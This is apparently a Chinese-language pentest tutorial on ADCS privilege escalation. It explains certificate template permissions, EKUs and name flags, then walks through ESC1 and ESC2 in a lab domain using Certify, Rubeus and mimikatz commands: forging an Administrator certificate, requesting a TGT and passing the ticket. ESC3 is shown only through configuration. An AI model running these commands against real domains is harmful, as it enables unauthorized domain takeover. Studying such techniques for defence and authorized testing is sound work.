# ADCS权限提升

## 证书模板

### 注册权限

对于证书模板，模板的 DACL 中的以下 ACE 可能会导致主体具有注册权限：

* ACE 为主体授予证书注册`（Certificate-Enrollment）`扩展权限。这个 ACE 授予主体`RIGHT_DS_CONTROL_ACCESS` 访问权限，其中 `ObjectType` 设置为`0e10c968-78fb-11d2-90d4-00c04f79dc5547` 。此 `GUID` 对应于 `Certificate-Enrollment` 权限
* ACE 为主体授予证书自动注册 `（Certificate-AutoEnrollment）`扩展权限。这个 ACE 授予主体`RIGHT_DS_CONTROL_ACCESS` 访问权限，其中 `ObjectType` 设置为 `a05b8cc2-17bc-4802-a710-e7c15ab866a249` 。此 `GUID` 对应于 `Certificate-AutoEnrollment` 扩展权限
* ACE 为主体授予所有扩展`（ExtendedRights）`权限。这个 ACE 启⽤ `RIGHT_DS_CONTROL_ACCESS` 访问权限，其中 `ObjectType` 设置为 `00000000- 0000-0000-0000-000000000000` 。此 `GUID` 对应于`ExtendedRights` 权限
* ACE 为主体授予完全控制`（FullControl/GenericAll）`权限。这个 ACE 启用 `FullControl/GenericAll` 访问权限

使用域控默认powershell模块查询

```
Import-Module ActiveDirectory
cd AD:
$Acl = Get-Acl 'CN=<证书模板名称>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<test>,DC=<com>'
$Acl.Access.Count
$Acl.Access | where IdentityReference -match '<user>'
# 也可以是查询组对证书模板的ACE
# ActiveDirectory是域控默认安装的模板
```

查询域用户test1对ESC1证书模板的ACE

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FfzrDXBLIGOxqvh5CWj0w%2F1681962923873.png?alt=media&#x26;token=eed3d977-eb0b-4c3e-bb95-b14c23c8ba12" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681962923873.png)

也可以使用powerview查询

```
Get-DomainUser -Identity <user> -Properties objectsid   
# 查询user的SID

Get-DomainObjectAcl -Identity ESC4 -SearchBase "LDAP://CN=Configuration,DC=fbi,DC=gov" | ?{$_.SecurityIdentifier -match "<user-sid>"}
# 查询user对ESC4证书模板的ACE
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FbZwApYbtdUM4d88dvAd2%2F1682076607800.png?alt=media&#x26;token=a02e0d7b-fa75-466a-83ad-e3fb28266a81" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682076607800.png)

### 扩展

#### 应用程序策略

应用程序策略提供证书的特定用途的重要功能，有时也称为扩展的密钥用法或增强型密钥用法

这是一些常用的应用程序策略

| 作用               | 对象标识符                    |
| ---------------- | ------------------------ |
| 客户端身份验证          | 1.3.6.1.5.5.7.3.2        |
| CA 加密证书          | 1.3.6.1.4.1.311.21.5     |
| 智能卡登录            | 1.3.6.1.4.1.311.20.2.2   |
| 文档签名             | 1.3.6.1.4.1.311.10.3.12  |
| 文件恢复             | 1.3.6.1.4.1.311.10.3.4.1 |
| 密钥恢复             | 1.3.6.1.4.1.311.10.3.11  |
| Microsoft 信任列表签名 | 1.3.6.1.4.1.311.10.3.1   |
| 合格的部属            | 1.3.6.1.4.1.311.10.3.10  |
| 根列表签名程序          | 1.3.6.1.4.1.311.10.3.9   |

可以根据对象标识符(OID)查询对应作用的证书，其Ldap-Display-Name为pKIExtendedKeyUsage

其他OID可以在安装证书机器上使用`certtmpl.msc`打开证书模板控制台，在证书模板->更多操作->查看对象标识符中查看

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FqTU6vPSgBWMiQTEPffQB%2F1681827135946.png?alt=media&#x26;token=4ff58987-94ee-4393-bcbb-933904ef453f" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681827135946.png)

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FpfkccA6lQXEZ2WfxdVFn%2F1681827266484.png?alt=media&#x26;token=9b6ff5e1-dfb9-40d2-8b64-5e2c896ea856" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681827266484.png)

可以使用adfind或者powerview等工具进行ldap查询，查询使用特定应用程序策略的证书模板

查询具有客户端身份验证应用程序策略的证书模板：

```
adfind -b "CN=Configuration,DC=fbi,DC=gov" -f  "(&(objectclass=pkicertificatetemplate)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2))"
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FczbKreyXz783vQ33BGFY%2F1681826900500.png?alt=media&#x26;token=cd0a6610-e741-4577-8795-8192d9aefe93" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681826900500.png)

也可以使用powerview

```
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2))' -SearchBase 'CN=Configuration,DC=fbi,DC=gov'
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FHELiWpJhGvcFIIHu8tK3%2F1681827069373.png?alt=media&#x26;token=981de034-36de-4857-8247-29e7b0a27850" alt=""><figcaption></figcaption></figure>

#### 发布要求

除了证书模板和企业CA访问控制限制之外，还有用于控制证书注册的两个证书模板设置，就是发布要求

当选择"CA证书管理程序批准"，申请就会至于挂起状态，其`msPKI-Enrollment-Flag`属性会被设置为`CT_FLAG_PEND_ALL_REQUESTS (0x2)` 位

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FehKk0twKnlR5ooDOW7Gf%2F1681900477503.png?alt=media&#x26;token=0e89266e-5c08-461a-b542-d62e0a8165fc" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681900477503.png)

用户(计算机)申请注册证书之后需要证书管理员在颁发证书之前予以批准或拒绝

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FXI4EIMpnKqUY4b2HJ959%2F1681901285715.png?alt=media&#x26;token=d2378cd2-08b9-484b-8fe1-185737c2f71d" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681901285715.png)

可以使用ldap根据是否选择"CA证书管理程序批准"查询证书模板，其Ldap-Display-Name为msPKI-Enrollment-Flag

查询选择了"CA证书管理程序批准"的证书模板

```
adfind -b "CN=Configuration,DC=fbi,DC=gov" -f  "(&(objectclass=pkicertificatetemplate)(msPKI-Enrollment-Flag=2))"
# 未开启msPKI-Enrollment-Flag=0
```

```
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(msPKI-Enrollment-Flag=0))' -SearchBase 'CN=Configuration,DC=fbi,DC=gov'
```

#### 注册代理、授权签名和应用程序策略

"授权签名的数量"和"应用程序策略"是发布要求的第二组限制，前者要求证书请求(CSR)在证书被颁发之前由现有的授权证书进行数字签名；后者定义了颁发证书所需签名证书必须具有的EKU OID

这些设置常见用途为证书申请代理，其授予可以代表其他用户请求证书的实体。CA会向注册代理账户颁发至少包含证书请求代理EKU(OID为1.3.6.1.4.1.311.20.2.1)的证书，一旦颁发，注册代理就可以代表其他用户签署CSR并请求证书

可以使用ldap查询发布要求中证书请求的计数器签名中所需的RA应用程序策略OID，其Ldap-Display-Name为msPKI-RA-Application-Policies，授权签名数量的Ldap-Display-Name为msPKI-RA-Signature

查询证书请求的计数器签名中所需的RA应用程序策略为证书申请代理的证书模板

```
adfind -b "CN=Configuration,DC=fbi,DC=gov" -f  "(&(objectclass=pkicertificatetemplate)(msPKI-RA-Application-Policies=1.3.6.1.4.1.311.20.2.1))"
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FQQnRpFEuOxyB59zdo2Bz%2F1681912283522.png?alt=media&#x26;token=069550ac-8c93-4cd7-891f-2c95b790b255" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681912283522.png)

```
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(msPKI-RA-Application-Policies=1.3.6.1.4.1.311.20.2.2))' -SearchBase 'CN=Configuration,DC=fbi,DC=gov'
```

### 使用者名称

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F74nIoCRWniPyIqcxfvD4%2F1681968890636.png?alt=media&#x26;token=e3046cf4-3ef5-4907-924f-43138cc4ec67" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681968890636.png)

与证书关联的私钥的持有者称为使用者，这可以是用户、程序或几乎任何对象、计算机或服务

Windows 可根据 Active Directory 域服务 (AD DS) 中存储的使用者信息自动生成使用者名称，或可通过使用者手动提供使用者名称（例如，使用证书注册网页创建和提交证书申请）

在选择"请求中提供"选项后，"使用现有证书中的使用者信息进行自动注册续订请求"选项可用于简化将使用者名称添加到证书续订请求的任务,可使证书注册客户端基于相同的证书模板从现有计算机证书中读取使用者名称和使用者备用名称信息；用于已过期、吊销或在续订期内的计算机证书

在请求中提供的`msPKI-Certificate-Name-Flag`属性为`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`

使用现有证书中的使用者信息进行自动注册续订请求的`msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_OLD\_CERT\_SUPPLIES\_SUBJECT\_AND\_ALT\_NAME

在选择"用Active Diretory中的信息生成之后"可以配置一下选项

**使用者名称格式**

| 设置                                                                                           | 描述                                                                      |
| -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
| **公用名** `msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_REQUIRE\_COMMON\_NAME             | CA 根据从 AD DS 获取的公用名 (CN) 创建使用者名称。此名称在域中应该唯一，但在企业中可能不唯一。                 |
| **完全可分辨名称 (DN)** `msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_REQUIRE\_DIRECTORY\_PATH | CA 根据从 AD DS 获取的完全可分辨名称创建使用者名称。这可确保在企业中名称唯一。                            |
| **在使用者名称中包括电子邮件名**`msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_REQUIRE\_EMAIL          | 如果 Active Directory 用户对象中填充了电子邮件名字段，则该电子邮件名将作为使用者名称的一部分包括在公用名或完全可分辨名称中。 |
| **无**                                                                                        | 此证书不要求名称值。                                                              |
| **DNS名称**`msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_REQUIRE\_DNS\_AS\_CN             | 从活动目录中请求者用户对象的 DNS 属性作为 主题中的CN 颁发的证书                                    |

**将这个信息包括在另一个使用者名称中**

| 设置                                                                                   | 描述                                                  |
| ------------------------------------------------------------------------------------ | --------------------------------------------------- |
| **电子邮件名** `msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_ALT\_REQUIRE\_EMAIL     | **如果 Active Directory 用户对象中填充了电子邮件名字段**，则将使用该电子邮件名。 |
| **DNS 名称** `msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_ALT\_REQUIRE\_DNS      | 这是申请证书的使用者的完全限定的域名 (FQDN)。这在**计算机证书**中最常用。          |
| **用户主体名称(UPN)** `msPKI-Certificate-Name-Flag`属性为CT\_FLAG\_SUBJECT\_ALT\_REQUIRE\_UPN | 用户主体名称是 Active Directory 用户对象的一部分，并将使用该名称。          |
| \*\*服务主体名称(SPN)\*\*CT\_FLAG\_SUBJECT\_ALT\_REQUIRE\_SPN                              | 服务主体名称是 Active Directory 计算机对象的一部分，并将使用该名称。         |

### 可用于域身份验证的EKU

| 描述                             | OID                    |
| ------------------------------ | ---------------------- |
| Client Authentication          | 1.3.6.1.5.5.7.3.2      |
| PKINIT Client Authentication\* | 1.3.6.1.5.2.3.4        |
| Smart Card Logon               | 1.3.6.1.4.1.311.20.2.2 |
| Any Purpose                    | 2.5.29.37.0            |
| SubCA                          | (no EKUs)              |

**默认情况下，AD CS 部署中不存在 OID 1.3.6.1.5.2.3.4，因此需要⼿动添加，但它确实适⽤于客户端⾝份验证**

## 权限提升

### 环境

ESC1-5

```
域:FBI.GOV

机器:
DC.FBI.GOV(域控 ADCS服务器) 10.10.10.139 Windows server 2019
ICE.FBI.GOV 10.10.10.234 Windows 10 企业版
SERVER.FBI.GOV 10.10.10.52 Windows server 2019

域用户:
FBI\administrator（域管）
FBI\ICE（域管） 
FBI\test1  
FBI\test2  
FBI\fileserver 
```

ESC6-7

```
域:ICE.COM

机器:
DC.ICE.COM(域控 ADCS服务器) 1.1.1.10 Windows server 2019
SERVER.ICE.COM 1.1.1.12 windows server 2019

域用户:
ICE\test1（域管）
ICE\test2
```

ESC8

```
域:ICE.COM

机器:
DC.ICE.COM(域控 ADCS服务器) 1.1.1.10 Windows server 2019
SERVER2012.ICE.COM(ADCS服务器) 1.1.1.20 Windows server 2012 r2
SERVER.ICE.COM 1.1.1.12 windows server 2019
kali Linux(攻击机器) 1.1.1.6

域用户:
ICE\test1（域管）
ICE\server2012（域管）
ICE\test2
```

### ESC1

#### 配置

* 颁发CA授予低权限用户请求权限（默认）

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fykr0SHx1ujbE9QqNq9pE%2F1681728727827.png?alt=media&#x26;token=fd60670d-3a4b-49d3-b0c8-cc868ee10470" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681728727827.png)

* 模板中CA证书管理程序批准未启用（默认）

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FqU0AbgZh13f4zpgeASgv%2F1681728776935.png?alt=media&#x26;token=815b91f7-1d1d-4b9a-8a35-a11239d08572" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681728776935.png)

* 模板中无需授权签名（默认）

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FeKxQ3yhRYhxRaPO5rpG0%2F1681728820250.png?alt=media&#x26;token=d8ca08cb-ca51-4122-9079-48429fd445e0" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681728820250.png)

* 模板允许低权限用户注册

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FLfHNeRWkca9Ro0bSJeXN%2F1681912786988.png?alt=media&#x26;token=56a0e1c0-aa30-4146-93c8-641abb2142b5" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681912786988.png)

* **证书模板定义了域身份验证的EKU(经测试五种EKU均成功利用)**

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FTuivyehw5EptyhgTAtse%2F1681728912556.png?alt=media&#x26;token=82ffa488-dce5-45c1-8cd9-874ae106d00d" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681728912556.png)

* **证书模板允许请求者在CSR中指定subjectAltName**

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FwF7WNpIqFhaWlbgxvS43%2F1681728943484.png?alt=media&#x26;token=39d77221-a72e-4517-84aa-8aead3d32ed6" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681728943484.png)

#### 利用

* 查找漏洞模板

```
Certify.exe find /vulnerable
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F0ncB02PNoNHzGN9rDgF0%2F1681729981766.png?alt=media&#x26;token=61d6ed98-8b8e-40bf-bd2c-28b0eeb12028" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681729981766.png)

* 伪造域管理员Administrator注册证书

```
Certify.exe request /ca:dc.fbi.gov\fbi-DC-CA /template:ESC1 /altname:FBI\Administrator
# Certify.exe request /ca:<CA Name> /template:<Template Name> /altname:<User>
/altname 指定为域管理员
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FY22K0ZiZttyBbwCDVGeo%2F1681730729523.png?alt=media&#x26;token=26edea9a-bc31-4691-ac37-5b7916d8deff" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681730729523.png)

* 将含有公私钥的pem证书整个复制到kali中使用openssl进行格式转化

  ```
  /usr/bin/openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 
  ```

  在这里输入密码

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FvccnrGYvZ1XGjj2FSuhA%2F1681730920678.png?alt=media&#x26;token=a91750bb-18c9-434c-ba98-d1e0b8174dcc" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681730920678.png)
* 将生成的cert.pfx证书放进机器，使用Rubeus申请TGT获取票据并传递，klist查看票据已经存在

  ```
  Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:123456 /outfile:cert.kribi /ptt
  # password为上一步输入的密码
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F3fFHh4AijfhjxZlJ9YWJ%2F1681731337521.png?alt=media&#x26;token=d2d5e516-d1c0-493d-9879-3d40e6b7d60a" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681731337521.png)
* 接下来即可使用dcsync等等攻击

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FgwR0xXakeo82bLsLAPKp%2F1681731422099.png?alt=media&#x26;token=e3d08519-ba02-489b-8443-5686f910ed06" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681731422099.png)

### ESC2

#### 配置

与ESC1配置基本相同，主要差别在EKU中，还有少了使用者名称的"在请求中提供"

* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* **描述为任何目的或者无EKU**

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F86DsAPpUcOnHGIlKRE7z%2F1682488719256.png?alt=media&#x26;token=3f27d8a2-7591-46c9-8f11-fed81ad5875a" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682488719256.png)
* 使用者名称

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FKhjlBdQ3PwqmQTEEbwAl%2F1682488646124.png?alt=media&#x26;token=ff07f7be-459b-4249-b7cd-239c0b0edb7e" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682488646124.png)

#### 利用

在阅读白皮书翻译文章的时候，有一句话提到"但攻击者可以使用它们以请求它们的用户身份向 AD 进行身份验证，这两个 EKU 无疑是对请求它们的用户自身很危险"，所以个人认为该方式用于本地权限提升，如果当前域用户在本地管理员组，但是当前令牌并不是完整管理员令牌的（被UAC删除了特权），可以尝试获取证书后申请票据，进行票据传递攻击（域用户在远程是不需要过UAC的）

当然ESC2也可以对其他应用程序造成影响（如 SAML、AD FS 或IPSec）

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F81ttbGzATQ27xmvbRq9L%2F1682489005175.png?alt=media&#x26;token=b9af89ee-8811-410d-ae5a-122b020353d5" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682489005175.png)

其实可以选择用于域身份验证的EKU，只是选择了任何目的或者无EKU可以用于其他目的

* 查找漏洞模板

```
Certify.exe find /vulnerable
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FUiXA8hqXFYto8ZnqmpW6%2F1682488950065.png?alt=media&#x26;token=3240b682-0dc1-4812-b90d-db86b484820f" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682488950065.png)

* 申请证书

  ```
  Certify.exe request /ca:dc.fbi.gov\fbi-DC-CA /template:ESC2
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FKtHvBARhWUWmH3wm2BRe%2F1682489082588.png?alt=media&#x26;token=81a13f89-2cc8-4cf1-b149-88968082d7b5" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682489082588.png)
* 将含有公私钥的pem证书整个复制到kali中使用openssl进行格式转化

  ```
  /usr/bin/openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 
  ```

  在这里输入密码

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FvccnrGYvZ1XGjj2FSuhA%2F1681730920678.png?alt=media&#x26;token=a91750bb-18c9-434c-ba98-d1e0b8174dcc" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681730920678.png)
* 将生成的cert.pfx证书放进机器，使用Rubeus申请TGT获取票据

  ```
  Rubeus.exe asktgt /user:test1 /certificate:cert.pfx /password:123456 /outfile:cert.kribi
  # user是当前域用户
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F6asD0vJsdIYKOc9g3ZQ0%2F1682489319563.png?alt=media&#x26;token=6f998d02-ff1e-4ca7-998d-001e403ba1da" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682489319563.png)
* 进行票据传递攻击

  ```
  mimikatz "kerberos::ptt cert.kribi" "exit"
  ```

  特权已经是完整管理员令牌中的特权了

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FEOb2kpQmAxS3SzGgrWtF%2F1682490604080.png?alt=media&#x26;token=7fbea4eb-e781-4032-a28f-b9f98e75689e" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682490604080.png)

### ESC3

#### ESC3\_1配置

* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* **证书模板中定义了证书请求代理 EKU (1.3.6.1.4.1.311.20.2.1)**

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FHnkrUtHA6AJCIYeRvklC%2F1681989328130.png?alt=media&#x26;token=88891a95-8d4f-4b10-afa7-8d9dea1d1f48" alt=""><figcaption></figcaption></figure>

‘

* 使用者名称配置

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FKKTkNgldFCxZ268zh04P%2F1682036488342.png?alt=media&#x26;token=adfbb39f-a095-4b65-8368-c17dcdd2d992" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682036488342.png)

#### ESC3\_2配置

* 颁发 CA 授予低权限用户请求权限 (默认)

* 模板中CA管理员审批未启用 (默认)

* 模板中不需要授权的签名 (默认)

* 模板允许低权限用户注册

* 模板定义了启用认证的EKU

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FZLI3onNgSqNN3zln20Cn%2F1681989704344.png?alt=media&#x26;token=f0aae1aa-665a-479d-8dad-5e0ee1346e39" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681989704344.png)

* **模板模式版本1或大于2并指定应用策略，签发要求证书请求代理EKU**

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FM7SwdHVJchH6NeECyUGs%2F1681989671113.png?alt=media&#x26;token=685a98a6-e4fb-4a72-918f-5fbfe9f00b51" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1681989671113.png)

* **没有在CA上对登记代理进行限制 (默认)**

*

```
<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FBTySuj85avWZgZzJE9q2%2F1681989750340.png?alt=media&#x26;token=beceb4aa-a3bc-497c-b627-658e9253c2d1" alt=""><figcaption></figcaption></figure>
```

* 使用者名称配置

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FHs35VUIEhdQcxFCrOpsJ%2F1682036560912.png?alt=media&#x26;token=d648ef5c-4013-449f-94e8-af8d67a6ccd0" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682036560912.png)

#### ESC3利用

* 查找漏洞模板

```
Certify.exe find /vulnerable
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FcUu8e5p36OPlY7PpJKD5%2F1682034285962.png?alt=media&#x26;token=2d289f3b-8b79-4195-b7c7-8ec11ebdc44b" alt=""><figcaption></figcaption></figure>

